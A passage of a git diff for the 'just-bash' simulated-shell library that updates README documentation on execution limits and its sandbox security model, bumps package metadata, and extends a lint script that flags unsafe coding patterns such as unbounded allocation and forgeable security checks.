+generic exit-126 shell result rather than rejecting `Bash.exec()` or exposing
+host error details. JavaScript cannot forcibly stop arbitrary host code, so
+extensions requiring a hard guarantee against external side effects must run
+in a terminable worker or process. Tests that invoke command objects directly
+can use `createCommandContext({ fs })` to get a fully resolved context without
+duplicating internal defaults.
 
 <details>
 <summary><h2>Supported Commands</h2></summary>
@@ -189,13 +213,21 @@ const env = new Bash({
 import { Bash } from "just-bash";
 import { OverlayFs } from "just-bash/fs/overlay-fs";
 
-const overlay = new OverlayFs({ root: "/path/to/project" });
+const overlay = new OverlayFs({
+  root: "/path/to/project",
+  // Copy-on-write data is bounded independently from real-file reads.
+  maxMemoryBytes: 256 * 1024 * 1024,
+});
 const env = new Bash({ fs: overlay, cwd: overlay.getMountPoint() });
 
 await env.exec("cat package.json"); // reads from disk
 await env.exec('echo "modified" > package.json'); // stays in memory
 ```
 
+`maxMemoryBytes` defaults to 1 GiB and covers aggregate files retained in the
+copy-on-write layer, including append chunks. Set it to the deployment's memory
+budget when an `OverlayFs` is reused across executions.
+
 **ReadWriteFs** - Direct read-write access to a real directory. Use this if you want the agent to be able to write to your disk:
 
 ```typescript
@@ -368,7 +400,7 @@ await env.exec('js-exec -c "console.log(API_BASE)"');
 
 `fs.readFileSync()` returns a `Buffer` by default (matching Node.js). Pass an encoding like `'utf8'` to get a string.
 
-**Note:** The `js-exec` command only exists when `javascript` is configured. It is not available in browser environments. Execution runs in a QuickJS WASM sandbox with a 64 MB memory limit and configurable timeout (default: 10s, 60s with network).
+**Note:** The `js-exec` command only exists when `javascript` is configured. It is not available in browser environments. Execution runs in a QuickJS WASM sandbox with a 64 MB memory limit and configurable timeout (30 seconds in the default `normal` profile and 10 seconds in the opt-in `hardened` profile). Enabling network access does not extend the configured deadline.
 
 #### Tool Invocation Hook
 
@@ -433,7 +465,7 @@ await env.exec('sqlite3 :memory: "SELECT 1 + 1"');
 await env.exec('sqlite3 data.db "SELECT * FROM users"');
 ```
 
-**Note:** SQLite is not available in browser environments. Queries run in a worker thread with a configurable timeout (default: 5 seconds) to prevent runaway queries from blocking execution.
+**Note:** SQLite is not available in browser environments. Queries run in a worker thread with a configurable timeout (30 seconds in the default `normal` profile and 5 seconds in the opt-in `hardened` profile) to prevent runaway queries from blocking execution.
 
 ## AST Transform Plugins
 
@@ -571,25 +603,56 @@ Bash protects against infinite loops and deep recursion with configurable limits
 
 ```typescript
 const env = new Bash({
+  // `normal` is the liberal, compatibility-oriented default. Use `hardened`
+  // for tighter untrusted-workload policy, then override individual resources.
+  executionLimitProfile: "hardened",
   executionLimits: {
     maxCallDepth: 100, // Max function recursion depth
-    maxCommandCount: 10000, // Max total commands executed
-    maxLoopIterations: 10000, // Max iterations per loop
-    maxAwkIterations: 10000, // Max iterations in awk programs
-    maxSedIterations: 10000, // Max iterations in sed scripts
+    maxCommandCount: 20000, // Shared across nested execution
+    maxSourceBytes: 8 * 1024 * 1024, // Shell source before parsing
+    maxFileSystemBytes: 256 * 1024 * 1024, // Retained default-FS data
+    maxOutputSize: 32 * 1024 * 1024, // Aggregate stdout + stderr bytes
+    maxArchiveBytes: 256 * 1024 * 1024, // Expanded archive bytes
+    maxDatabaseBytes: 128 * 1024 * 1024, // SQLite image bytes
+    maxExecutionTimeMs: 30_000, // Whole execution wall-clock deadline
+    maxExtensionCleanupTimeMs: 25, // Cancellation acknowledgement grace
   },
 });
 ```
 
-All limits have defaults. Error messages tell you which limit was hit. Increase as needed for your workload.
+All resources remain bounded by default in both profiles. Explicit values
+override the selected profile; non-negative safe integers and the legacy
+`Infinity` spelling are accepted. Infinite deadlines omit the corresponding
+platform timer rather than overflowing it. Invalid values are rejected when
+`Bash` is constructed. Error messages identify the resource that was hit.
 
 ## Security Model
 
+The Node.js package requires Node `>=20.18.1`.
+
 - The shell only has access to the provided filesystem.
 - All execution happens without VM isolation. This does introduce additional risk. The code base was designed to be robust against prototype-pollution attacks and other break outs to the host JS engine and filesystem.
 - There is no network access by default. When enabled, requests are checked against URL prefix allow-lists and HTTP-method allow-lists.
 - Python and JavaScript execution are off by default as they represent additional security surface.
 - Execution is protected against infinite loops and deep recursion with configurable limits.
+- Host-realm defense-in-depth uses the strongest scoped controls available on
+  each supported Node runtime. Where `node:module.registerHooks()` is present,
+  builtin ESM imports can also be denied only for the untrusted async context;
+  older runtimes retain best-effort scoped protection without failing existing
+  applications. It never installs a process-global deny-all loader. Query the
+  resolved capabilities with `DefenseInDepthBox.getInstance().getStatus()`.
+  Audit mode reports `level: "none"` because it records violations without
+  enforcing them.
+- Scoped defense uses reversible proxies for `Reflect`, `JSON`, and `Math` and
+  restores their host descriptors on deactivation. This is reported as
+  `intrinsicProtection: "scoped-best-effort"`: same-realm JavaScript that
+  cached an intrinsic or a mutation function before activation cannot be fully
+  revoked (including the direct `delete` operator). The separately named
+  `processLifetimeIntrinsicHardening: true` option permanently freezes those
+  objects and locks selected well-known Symbol descriptors; use it only in a
+  disposable or process-lifetime realm. Use an isolated worker/process when
+  complete protection and reversible host state are both required.
+- Node worker `resourceLimits` do not reliably cap the WebAssembly linear memory used by CPython or sql.js. Queue, deadline, file, database, bridge, and payload limits reduce exposure, but strong memory containment for these opt-in runtimes requires process/container isolation or a WASM build with a lower hard maximum.
 - Use [Vercel Sandbox](https://vercel.com/docs/vercel-sandbox) if you need a full VM with arbitrary binary execution.
 
 ## Browser Support
diff --git a/packages/just-bash/package.json b/packages/just-bash/package.json
index ab9ff9b3..d66baf18 100644
--- a/packages/just-bash/package.json
+++ b/packages/just-bash/package.json
@@ -1,6 +1,6 @@
 {
   "name": "just-bash",
-  "version": "3.1.0",
+  "version": "3.2.0",
   "description": "A simulated bash environment with virtual filesystem",
   "repository": {
     "type": "git",
@@ -11,6 +11,9 @@
     "url": "https://github.com/vercel-labs/just-bash/issues"
   },
   "type": "module",
+  "engines": {
+    "node": ">=20.18.1"
+  },
   "main": "dist/bundle/index.js",
   "types": "dist/index.d.ts",
   "exports": {
@@ -62,7 +65,7 @@
     "build:worker": "esbuild src/commands/python3/worker.ts --bundle --platform=node --format=esm --outfile=src/commands/python3/worker.js --external:../../../vendor/cpython-emscripten/* && cp src/commands/python3/worker.js dist/commands/python3/worker.js && mkdir -p dist/bin/chunks && cp src/commands/python3/worker.js dist/bin/chunks/worker.js && mkdir -p dist/bundle/chunks && cp src/commands/python3/worker.js dist/bundle/chunks/worker.js && esbuild src/commands/js-exec/js-exec-worker.ts --bundle --platform=node --format=esm --outfile=src/commands/js-exec/js-exec-worker.js --external:quickjs-emscripten && cp src/commands/js-exec/js-exec-worker.js dist/commands/js-exec/js-exec-worker.js && cp src/commands/js-exec/js-exec-worker.js dist/bin/chunks/js-exec-worker.js && cp src/commands/js-exec/js-exec-worker.js dist/bundle/chunks/js-exec-worker.js && esbuild src/commands/sqlite3/worker.ts --bundle --platform=node --format=esm --outfile=src/commands/sqlite3/worker.js --external:sql.js && mkdir -p dist/commands/sqlite3 && cp src/commands/sqlite3/worker.js dist/commands/sqlite3/worker.js && cp src/commands/sqlite3/worker.js dist/bin/chunks/sqlite3-worker.js && cp src/commands/sqlite3/worker.js dist/bundle/chunks/sqlite3-worker.js",
     "build:lib": "esbuild dist/index.js --bundle --splitting --platform=node --format=esm --minify --outdir=dist/bundle --chunk-names=chunks/[name]-[hash] --banner:js='import{createRequire} from\"node:module\";const require=createRequire(import.meta.url);' --external:diff --external:minimatch --external:sprintf-js --external:turndown --external:sql.js --external:quickjs-emscripten --external:@mongodb-js/zstd --external:node-liblzma --external:seek-bzip",
     "build:lib:cjs": "esbuild dist/index.js --bundle --platform=node --format=cjs --minify --outfile=dist/bundle/index.cjs --external:diff --external:minimatch --external:sprintf-js --external:turndown --external:sql.js --external:quickjs-emscripten --external:@mongodb-js/zstd --external:node-liblzma --external:seek-bzip",
-    "build:browser": "esbuild dist/browser.js --bundle --platform=browser --format=esm --minify --outfile=dist/bundle/browser.js --external:diff --external:minimatch --external:sprintf-js --external:turndown --external:node:zlib --external:@mongodb-js/zstd --external:node-liblzma --external:seek-bzip --define:__BROWSER__=true --alias:node:dns=./src/shims/browser-unsupported.js",
+    "build:browser": "esbuild dist/browser.js --bundle --platform=browser --format=esm --minify --outfile=dist/bundle/browser.js --external:diff --external:minimatch --external:sprintf-js --external:turndown --external:undici --external:node:zlib --external:@mongodb-js/zstd --external:node-liblzma --external:seek-bzip --define:__BROWSER__=true --alias:node:async_hooks=./src/shims/browser-unsupported.js --alias:node:dns=./src/shims/browser-unsupported.js --alias:node:module=./src/shims/browser-unsupported.js",
     "build:cli": "esbuild dist/cli/just-bash.js --bundle --splitting --platform=node --format=esm --minify --outdir=dist/bin --entry-names=[name] --chunk-names=chunks/[name]-[hash] --banner:js='#!/usr/bin/env node\nimport{createRequire} from\"node:module\";const require=createRequire(import.meta.url);' --external:sql.js --external:quickjs-emscripten --external:@mongodb-js/zstd --external:node-liblzma --external:seek-bzip",
     "build:shell": "esbuild dist/cli/shell.js --bundle --splitting --platform=node --format=esm --minify --outdir=dist/bin/shell --entry-names=[name] --chunk-names=chunks/[name]-[hash] --banner:js='#!/usr/bin/env node\nimport{createRequire} from\"node:module\";const require=createRequire(import.meta.url);' --external:sql.js --external:quickjs-emscripten --external:@mongodb-js/zstd --external:node-liblzma --external:seek-bzip",
     "prepublishOnly": "pnpm test:dist",
@@ -84,8 +87,8 @@
     "test:coverage:unit": "vitest run --config vitest.unit.config.ts --coverage",
     "test:fuzz": "vitest run src/security/fuzzing/",
     "test:fuzz:long": "FUZZ_RUNS=10000 vitest run src/security/fuzzing/",
-    "shell": "npx tsx src/cli/shell.ts",
-    "dev:exec": "npx tsx src/cli/exec.ts"
+    "shell": "tsx src/cli/shell.ts",
+    "dev:exec": "tsx src/cli/exec.ts"
   },
   "keywords": [],
   "author": "Malte and Claude",
@@ -101,11 +104,11 @@
     "esbuild": "^0.27.2",
     "fast-check": "^3.23.2",
     "knip": "^5.41.1",
+    "tsx": "^4.21.0",
     "typescript": "^5.9.3",
     "vitest": "^4.0.16"
   },
   "dependencies": {
-    "seek-bzip": "^2.0.0",
     "diff": "^8.0.2",
     "fast-xml-parser": "^5.7.3",
     "file-type": "^21.2.0",
@@ -115,10 +118,12 @@
     "papaparse": "^5.5.3",
     "quickjs-emscripten": "^0.32.0",
     "re2js": "^1.2.1",
+    "seek-bzip": "^2.0.0",
     "smol-toml": "^1.6.0",
     "sprintf-js": "^1.1.3",
     "sql.js": "^1.13.0",
     "turndown": "^7.2.2",
+    "undici": "^7.25.0",
     "yaml": "^2.8.2"
   },
   "optionalDependencies": {
diff --git a/packages/just-bash/scripts/check-banned-patterns.js b/packages/just-bash/scripts/check-banned-patterns.js
index 7a5df5b0..74280d37 100644
--- a/packages/just-bash/scripts/check-banned-patterns.js
+++ b/packages/just-bash/scripts/check-banned-patterns.js
@@ -13,8 +13,18 @@
  *   const COLORS: Record<string, string> = { red: "#f00" };
  */
 
-import { readdirSync, readFileSync, statSync } from "node:fs";
-import { join, relative } from "node:path";
+import {
+  closeSync,
+  constants,
+  fstatSync,
+  lstatSync,
+  openSync,
+  readdirSync,
+  readFileSync,
+  realpathSync,
+} from "node:fs";
+import { isAbsolute, join, relative, resolve, sep } from "node:path";
+import { fileURLToPath } from "node:url";
 
 /**
  * @typedef {Object} BannedPattern
@@ -23,7 +33,9 @@ import { join, relative } from "node:path";
  * @property {string} message - Explanation of why it's banned
  * @property {string[]} solutions - Suggested fixes
  * @property {RegExp[]} [autoSafe] - Patterns that make a line automatically safe
+ * @property {RegExp[]} [fileAutoSafe] - Patterns that make the containing file safe
  * @property {RegExp} [filePattern] - Optional file path regex to scope the rule
+ * @property {boolean} [scanSecurity] - Run this rule in audited security modules
  */
 
 /** @type {BannedPattern[]} */
@@ -520,9 +532,224 @@ const BANNED_PATTERNS = [
     ],
     autoSafe: [/wrapWasmCallback\s*\(/],
   },
+  {
+    name: "Non-portable AbortSignal composition",
+    pattern:
+      /^(?!\s*(?:\/\/|\/?\*)).*\bAbortSignal\s*\.\s*(?:any|timeout)\s*\(/,
+    filePattern: /src\/(?!.*\.test\.ts$).*\.ts$/,
+    message:
+      "AbortSignal.any/timeout are not available in every supported runtime and\n" +
+      "make listener cleanup difficult to audit.",
+    solutions: [
+      "Use combineAbortSignals(...) from abort-signals.ts",
+      "Use an injected timer plus a finally-safe cleanup callback",
+    ],
+  },
+  {
+    name: "Stack text used as a security decision",
+    pattern:
+      /\b(?:stack|errorStack)\s*(?:\?\.)?\.\s*(?:includes|match|indexOf)\s*\(/,
+    filePattern: /src\/security\/(?!.*\.test\.ts$).*\.ts$/,
+    scanSecurity: true,
+    message:
+      "Error stacks are forgeable, runtime-dependent diagnostics and cannot be\n" +
+      "used to authorize module loading or trusted operations.",
+    solutions: [
+      "Use an unforgeable lexical or AsyncLocalStorage capability",
+      "Complete trusted bootstrap before guest execution begins",
+    ],
+  },
+  {
+    name: "Forgeable diagnostic used as a security decision",
+    pattern:
+      /\b(?:message|sourceURL|fileName|filename|functionName|constructor\s*\.\s*name)\b[^\n]*(?:\.\s*(?:includes|match|indexOf|startsWith|endsWith)\s*\(|={2,3}|!={1,2})/,
+    filePattern: /src\/security\/(?!fuzzing\/)(?!.*\.test\.ts$).*\.ts$/,
+    scanSecurity: true,
+    message:
+      "Error text, source URLs, filenames, and function names are forgeable diagnostics.\n" +
+      "They must not grant security capabilities or authorize trusted operations.",
+    solutions: [
+      "Use a private lexical capability or exact object identity",
+      "Keep diagnostics for audit output only, never authorization",
+    ],
+  },
+  {
+    name: "Optional command limit with literal fallback",
+    pattern: /\bctx\.limits\?\.\w+\s*\?\?\s*(?:\d|Number\.)/,
+    filePattern: /src\/(?:commands|interpreter)\/.*\.ts$/,
+    message:
+      "CommandContext.limits is fully resolved. Optional access plus a local literal\n" +
+      "silently forks defaults from the central limit schema.",
+    solutions: [
+      "Read ctx.limits.<field> directly",
+      "Add a named resource field to the central limit schema when needed",
+    ],
+  },
+  {
+    name: "Raw fetch in secured network path",
+    pattern: /(?<![.\w])fetch\s*\(/,
+    filePattern: /src\/network\/fetch\.ts$/,
+    message:
+      "A secured network request must use the request-owned reviewed-address\n" +
+      "connection owner whenever private-range enforcement is active.",
+    solutions: [
+      "Use the pinned connection owner's fetch method",
+      "Annotate only the audited branch where private-range enforcement is disabled",
+    ],
+  },
+  {
+    name: "Whole-buffer decompression outside codec boundary",
+    pattern:
+      /\b(?:gunzipSync|inflateSync|inflateRawSync|unzipSync|brotliDecompressSync|zstdDecompressSync)\s*\(/,
+    filePattern: /src\/(?!codecs?\/).*\.ts$/,
+    message:
+      "Whole-buffer decompression can allocate attacker-controlled output before\n" +
+      "the caller accounts for it.",
+    solutions: [
+      "Route decoding through the shared codec budget/boundary",
+      "For a proven intrinsic bound, annotate the exact call and its pre-allocation maximum",
+    ],
+  },
+  {
+    name: "Restricted Node filesystem import",
+    pattern:
+      /(?:from\s*["'](?:node:fs(?:\/promises)?|fs\/promises)["']|require\s*\(\s*["'](?:node:fs(?:\/promises)?|fs\/promises)["']\s*\))/,
+    filePattern:
+      /src\/(?!fs\/)(?!cli\/)(?!comparison-tests\/)(?!commands\/js-exec\/)(?!commands\/(?:python3\/worker|sqlite3\/sqlite3)\.ts$)(?!security\/fuzzing\/runners\/).*\.(?:ts|js)$/,
+    message:
+      "Raw host filesystem access is restricted to reviewed filesystem, CLI, and\n" +
+      "worker bootstrap gates so virtual-path and error sanitization cannot be bypassed.",
+    solutions: [
+      "Use CommandContext.fs for command I/O",
+      "Move unavoidable host access behind a reviewed filesystem/worker gate",
+    ],
+  },
+  {
+    name: "Unsafe path-prefix containment",
+    pattern: /\brelative\s*\.\s*startsWith\s*\(\s*["'`]\.\.["'`]\s*\)/,
+    filePattern: /(?:src|scripts)\/.*\.(?:ts|js)$/,
+    message:
+      "startsWith('..') confuses a legitimate '..name' segment with traversal and\n" +
+      "does not express a path-segment containment boundary.",
+    solutions: [
+      "Check rel === '..' or rel.startsWith(`..${sep}`), plus absolute paths",
+      "Use the canonical containment helper and retain its branded result",
+    ],
+  },
+  {
+    name: "Unchecked dynamic string or array amplification",
+    pattern:
+      /(?:\.(?:repeat|padStart|padEnd)\s*\(\s*[A-Za-z_$]|(?<![\w.])(?:new\s+)?Array\s*\(\s*[A-Za-z_$])/,
+    filePattern:
+      /src\/commands\/(?!awk\/)(?!printf\/)(?!sqlite3\/formatters\.ts$)(?!nl\/nl\.ts$)(?!expand\/)(?!yq\/formats\.ts$)(?!jq\/jq\.ts$)(?!query-engine\/)(?!split\/split\.ts$)(?!seq\/seq\.ts$)(?!xan\/)(?!js-exec\/)(?!tar\/bzip2-compress\.ts$)(?!wc\/wc\.ts$).*\.ts$/,
+    message:
+      "Dynamic repeat, padding, and array sizes must be checked before allocation.\n" +
+      "Post-allocation length checks are too late.",
+    solutions: [
+      "Use guardedRepeat/guardedPad or a bounded builder",
+      "Annotate a reviewed site only when a preceding arithmetic guard proves the bound",
+    ],
+  },
+  {
+    name: "Unchecked array construction followed by join",
+    pattern:
+      /(?:new\s+)?Array\s*\([^)]*\)\s*\.\s*(?:fill\s*\([^)]*\)\s*\.)?join\s*\(/,
+    filePattern:
+      /src\/(?!commands\/js-exec\/)(?:commands|interpreter)\/.*\.ts$/,
+    message:
+      "Array construction followed by join creates multiple attacker-scaled\n" +
+      "intermediates. Use a checked bounded builder.",
+    solutions: [
+      "Use BoundedStringBuilder.repeat/append",
+      "Preflight safe arithmetic before allocation",
+    ],
+  },
+  {
+    name: "Allocating UTF-8 byte-length measurement",
+    pattern:
+      /(?:new\s+TextEncoder\s*\(\s*\)\s*\.\s*encode\s*\([^)]*\)|Buffer\s*\.\s*from\s*\([^)]*\))\s*\.\s*(?:byteLength|length)\b/,
+    filePattern:
+      /src\/(?!commands\/js-exec\/)(?:commands|interpreter)\/.*\.ts$/,
+    message:
+      "Allocating an encoded copy just to measure bytes doubles peak memory and\n" +
+      "can bypass live-byte accounting.",
+    solutions: ["Use utf8ByteLength(...) from encoding.ts"],
+  },
+  {
+    name: "Unbounded interpreter output accumulation",
+    pattern: /\b(?:stdout|stderr)\s*\+=/,
+    filePattern:
+      /src\/(?:interpreter\/interpreter|commands\/(?:awk\/awk2|sed\/sed|query-engine\/evaluator))\.ts$/,
+    message:
+      "High-risk interpreter output must flow through the shared bounded output\n" +
+      "sink instead of a local string accumulator.",
+    solutions: ["Use ExecutionBudget.appendOutput or BoundedStringBuilder"],
+  },
+  {
+    name: "Fatal execution error swallowed by catch",
+    pattern:
+      /catch\s*\(\s*([A-Za-z_$][\w$]*)\s*\)\s*\{\s*(?:return\b|continue\b|break\b)/,
+    filePattern:
+      /src\/(?!commands\/js-exec\/)(?:commands|interpreter)\/.*\.ts$/,
+    message:
+      "A catch that immediately returns/continues can swallow execution limits,\n" +
+      "abort, or security violations.",
+    solutions: [
+      "Call rethrowFatalExecutionError(error) before ordinary recovery",
+      "Catch a narrower typed failure that cannot contain fatal execution errors",
+    ],
+  },
+  {
+    name: "Raw filesystem error returned from adapter",
+    pattern: /\b(?:return|error\s*:)\b[^\n]*(?:err|error|e)\s*\.\s*message\b/,
+    filePattern: /src\/fs\/.*\.ts$/,
+    message:
+      "Raw host filesystem errors can expose host roots and implementation details\n" +
+      "through adapter return values.",
+    solutions: ["Normalize through the typed virtual-path error boundary"],
+    autoSafe: [/sanitizeErrorMessage\s*\(/, /sanitizeFsError\s*\(/],
+  },
+  {
+    name: "Worker created without shared request controller",
+    pattern: /new\s+Worker\s*\(/,
+    filePattern: /src\/commands\/.*\.ts$/,
+    message:
+      "Workers handling command requests must share cancellation, queue ownership,\n" +
+      "message-size validation, and termination cleanup.",
+    solutions: [
+      "Adopt WorkerRequestController in the containing command module",
+    ],
+  },
+  {
+    name: "Undocumented command-local MAX constant",
+    pattern:
+      /\bconst\s+MAX_(?!(?:SQLITE_HEAP_LIMIT|DATE_MILLISECONDS|DATE_SECONDS|GREP_DEPTH|SLEEP_MS|PRINTF_WIDTH|DU_DEPTH|ARCHIVE_SIZE|ENTRIES|DATABASE_LOCK_WAITERS|OUTPUT_FILES|ARRAY_INDEX)\b)[A-Z0-9_]+\s*(?::[^=]+)?=/,
+    filePattern: /src\/commands\/.*\.ts$/,
+    message:
+      "Command-local MAX constants can silently create incompatible ceilings that\n" +
+      "drift from the public resource-limit schema.",
+    solutions: [
+      "Add a documented field to ExecutionLimits",
+      "For a true runtime invariant, use a narrowly justified ignore annotation",
+    ],
+  },
+  {
+    name: "Execution engine constructed outside Bash",
+    pattern: /new\s+(?:Interpreter|ExecutionScope)\s*\(/,
+    filePattern: /src\/(?!Bash\.ts$)(?!.*\.test\.ts$).*\.ts$/,
+    message:
+      "Constructing an interpreter or execution scope outside Bash can mint a fresh\n" +
+      "security budget and bypass aggregate accounting.",
+    solutions: [
+      "Capture and reuse the top-level execution budget",
+      "Route nested execution through InterpreterContext.execFn",
+    ],
+  },
 ];
 
-const IGNORE_COMMENT = /@banned-pattern-ignore:/;
+// A suppression must state a concrete reason. Merely placing the token in a
+// file must not become a file-wide capability or suppress an unrelated match.
+const IGNORE_COMMENT = /@banned-pattern-ignore:\s*\S.{7,}/;
 
 // Directories to scan
 const SCAN_DIRS = ["."];
@@ -536,11 +763,18 @@ const SKIP_DIRS = new Set([
   ".pnpm-store",
   ".next",
   "coverage",
+  ".deepsec",
+  ".agents",
+  ".codex",
+  "todo",
 ]);
 
 const SKIP_PATH_PATTERNS = [
   /(^|\/)\.pnpm-store(\/|$)/,
   /(^|\/)examples\/website\/app\/api\/agent\/_agent-data(\/|$)/,
+  /(^|\/)\.deepsec(\/|$)/,
+  /(^|\/)todo(\/|$)/,
+  /(^|\/)findings?(\/|$)/,
 ];
 
 // Files/patterns to skip entirely
@@ -549,7 +783,6 @@ const SKIP_PATTERNS = [
   /\.comparison\.test\.ts$/,
   /spec-tests/,
   /prototype-pollution\.test/, // These test the protection
-  /src\/security\//, // Security module intentionally references blocked patterns
   /src\/commands\/python3\/worker\.js$/, // Generated artifact, source is worker.ts
   /src\/commands\/js-exec\/js-exec-worker\.js$/, // Generated artifact, source is js-exec-worker.ts
   /src\/commands\/sqlite3\/worker\.js$/, // Generated artifact, source is worker.ts
@@ -566,7 +799,7 @@ const SKIP_PATTERNS = [
  */
 
 /** @type {Violation[]} */
-const violations = [];
+let violations = [];
 
 /**
  * @typedef {Object} IgnoreComment
@@ -577,7 +810,7 @@ const violations = [];
  */
 
 /** @type {IgnoreComment[]} */
-const ignoreComments = [];
+let ignoreComments = [];
 
 /**
  * Check if a file should be skipped
@@ -602,6 +835,13 @@ function shouldSkipFile(filePath) {
 function isLineSafe(lines, lineIndex, pattern, filePath) {
   const line = lines[lineIndex];
 
+  if (pattern.fileAutoSafe) {
+    const content = lines.join("\n");
+    if (pattern.fileAutoSafe.some((safePat) => safePat.test(content))) {
+      return { safe: true, usedIgnoreComment: null };
+    }
+  }
+
   // Check for @banned-pattern-ignore comment on current line or up to 2 lines before
   // (to allow for other ignore comments like biome-ignore between)
   for (let offset = 0; offset <= 2; offset++) {
@@ -658,12 +898,33 @@ function scanFile(filePath) {
     return;
   }
 
-  const content = readFileSync(filePath, "utf-8");
+  let fd;
+  let content;
+  try {
+    const before = lstatSync(filePath, { bigint: true });
+    if (before.isSymbolicLink()) {
+      throw new Error("symbolic link rejected");
+    }
+    const noFollow = constants.O_NOFOLLOW ?? 0;
+    fd = openSync(filePath, constants.O_RDONLY | noFollow);
+    const opened = fstatSync(fd, { bigint: true });
+    if (before.dev !== opened.dev || before.ino !== opened.ino) {
+      throw new Error("file identity changed before read");
+    }
+    content = readFileSync(fd, "utf-8");
+  } finally {
+    if (fd !== undefined) closeSync(fd);
+  }
   const lines = content.split("\n");
+  const isSecurityModule = /src\/security\//.test(filePath);
 
   // First pass: collect all ignore comments in this file
   for (let i = 0; i < lines.length; i++) {
     if (IGNORE_COMMENT.test(lines[i])) {
+      // Security modules intentionally opt in to only their dedicated rules.
+      // Suppressions for the broad rules are therefore outside this scan's
+      // scope and must not be misreported as unused.
+      if (isSecurityModule) continue;
       ignoreComments.push({
         file: filePath,
         line: i + 1,
@@ -678,6 +939,9 @@ function scanFile(filePath) {
     const line = lines[i];
 
     for (const pattern of BANNED_PATTERNS) {
+      if (isSecurityModule && pattern.scanSecurity !== true) {
+        continue;
+      }
       if (pattern.filePattern && !pattern.filePattern.test(filePath)) {
         continue;
       }
@@ -725,19 +989,96 @@ function getContext(lines, lineIndex) {
   return contextLines.join("\n");
 }
 
+let rootDir = process.cwd();
+let canonicalRootDir = realpathSync(rootDir);
+/** @type {{ path: string; reason: string }[]} */
+let scanErrors = [];
+let visitedDirectories = new Set();
+
+function safeRelativePath(path) {
+  const rel = relative(rootDir, path);
+  return rel === ""
+    ? "."
+    : rel === ".." || rel.startsWith(`..${sep}`) || isAbsolute(rel)
+      ? "<outside-root>"
+      : rel;
+}
+
+function isWithinRoot(canonicalPath) {
+  const rel = relative(canonicalRootDir, canonicalPath);
+  return (
+    rel === "" ||
+    (rel !== ".." && !rel.startsWith(`..${sep}`) && !isAbsolute(rel))
+  );
+}
+
+function recordScanError(path, reason) {
+  scanErrors.push({ path: safeRelativePath(path), reason });
+}
+
 /**
  * Recursively scan directory
  * @param {string} dir
  */
 function scanDirectory(dir) {
-  const entries = readdirSync(dir);
+  let dirStat;
+  let canonicalDir;
+  try {
+    dirStat = lstatSync(dir);
+    if (dirStat.isSymbolicLink()) {
+      recordScanError(dir, "symbolic link directory rejected");
+      return;
+    }
+    canonicalDir = realpathSync(dir);
+  } catch {
+    recordScanError(dir, "directory metadata could not be read");
+    return;
+  }
+
+  if (!isWithinRoot(canonicalDir)) {
+    recordScanError(dir, "directory resolves outside scan root");
+    return;
+  }
+
+  // Canonical paths avoid truncated or zero inode collisions on platforms
+  // where number-valued fs identities are not reliable.
+  const identity = canonicalDir;
+  if (visitedDirectories.has(identity)) {
+    return;
+  }
+  visitedDirectories.add(identity);
+
+  let entries;
+  try {
+    entries = readdirSync(dir);
+  } catch {
+    recordScanError(dir, "directory contents could not be read");
+    return;
+  }
 
   for (const entry of entries) {
     const fullPath = join(dir, entry);
     if (SKIP_PATH_PATTERNS.some((pattern) => pattern.test(fullPath))) {
       continue;
     }
-    const stat = statSync(fullPath);
+    let stat;
+    let canonicalPath;
+    try {
+      stat = lstatSync(fullPath);
+      if (stat.isSymbolicLink()) {
+        recordScanError(fullPath, "symbolic link rejected");
+        continue;
+      }
+      canonicalPath = realpathSync(fullPath);
+    } catch {
+      recordScanError(fullPath, "entry metadata could not be read");
+      continue;
+    }
+
+    if (!isWithinRoot(canonicalPath)) {
+      recordScanError(fullPath, "entry resolves outside scan root");
+      continue;
+    }
 
     if (stat.isDirectory()) {
       // Skip generated/third-party directories
@@ -750,98 +1091,139 @@ function scanDirectory(dir) {
       entry.endsWith(".mjs") ||
       entry.endsWith(".cjs")
     ) {
-      scanFile(fullPath);
+      try {
+        scanFile(fullPath);
+      } catch {
+        recordScanError(fullPath, "file contents could not be read");
+      }
     }
   }
 }
 
-// Main
-const rootDir = process.cwd();
+/**
+ * Run one isolated scan. State is reset per call so embedders and tests cannot
+ * inherit directory identities, findings, or ignore usage from a prior root.
+ *
+ * @param {string} [scanRoot]
+ * @param {{ report?: boolean }} [options]
+ */
+export function runScanner(scanRoot = process.cwd(), options = {}) {
+  rootDir = resolve(scanRoot);
+  canonicalRootDir = realpathSync(rootDir);
+  violations = [];
+  ignoreComments = [];
+  scanErrors = [];
+  visitedDirectories = new Set();
 
-for (const dir of SCAN_DIRS) {
-  const fullDir = join(rootDir, dir);
-  try {
-    scanDirectory(fullDir);
-  } catch (err) {
-    console.error(`Error scanning ${dir}: ${err.message}`);
+  for (const dir of SCAN_DIRS) {
+    scanDirectory(join(rootDir, dir));
   }
-}
-
-// Check for unused ignore comments
-const unusedIgnores = ignoreComments.filter((c) => !c.used);
 
-let hasErrors = false;
+  const unusedIgnores = ignoreComments.filter((c) => !c.used);
+  let hasErrors = scanErrors.length > 0;
+  const report = options.report !== false;
 
-if (violations.length > 0) {
-  hasErrors = true;
-  // Group violations by pattern
-  /** @type {Map<string, Violation[]>} */
-  const byPattern = new Map();
-  for (const v of violations) {
-    const key = v.pattern.name;
-    if (!byPattern.has(key)) {
-      byPattern.set(key, []);
+  if (report && scanErrors.length > 0) {
+    console.error("\n\x1b[31m✖ Incomplete security scan\x1b[0m\n");
+    for (const error of scanErrors) {
+      console.error(`${error.path}: ${error.reason}`);
     }
-    byPattern.get(key).push(v);
+    console.error(
+      `\n\x1b[31m✖ ${scanErrors.length} scan error(s); results are not complete\x1b[0m\n`,
+    );
+  }
+
+  if (violations.length > 0) {
+    hasErrors = true;
   }
+  if (report && violations.length > 0) {
+    // Group violations by pattern
+    /** @type {Map<string, Violation[]>} */
+    const byPattern = new Map();
+    for (const v of violations) {
+      const key = v.pattern.name;
+      if (!byPattern.has(key)) {
+        byPattern.set(key, []);
+      }
+      byPattern.get(key).push(v);
+    }
 
-  console.error("\n\x1b[31m✖ Banned Code Patterns Detected\x1b[0m\n");
+    console.error("\n\x1b[31m✖ Banned Code Patterns Detected\x1b[0m\n");
 
-  for (const [patternName, patternViolations] of byPattern) {
-    const pattern = patternViolations[0].pattern;
+    for (const [patternName, patternViolations] of byPattern) {
+      const pattern = patternViolations[0].pattern;
+
+      console.error(`\x1b[33m━━━ ${patternName} ━━━\x1b[0m\n`);
+      console.error(pattern.message);
+      console.error("");
+      console.error("\x1b[33mSolutions:\x1b[0m");
+      for (const solution of pattern.solutions) {
+        console.error(`  • ${solution}`);
+      }
+      console.error("");
+      console.error(
+        "\x1b[33mTo opt-out, add a comment explaining why it's safe:\x1b[0m",
+      );
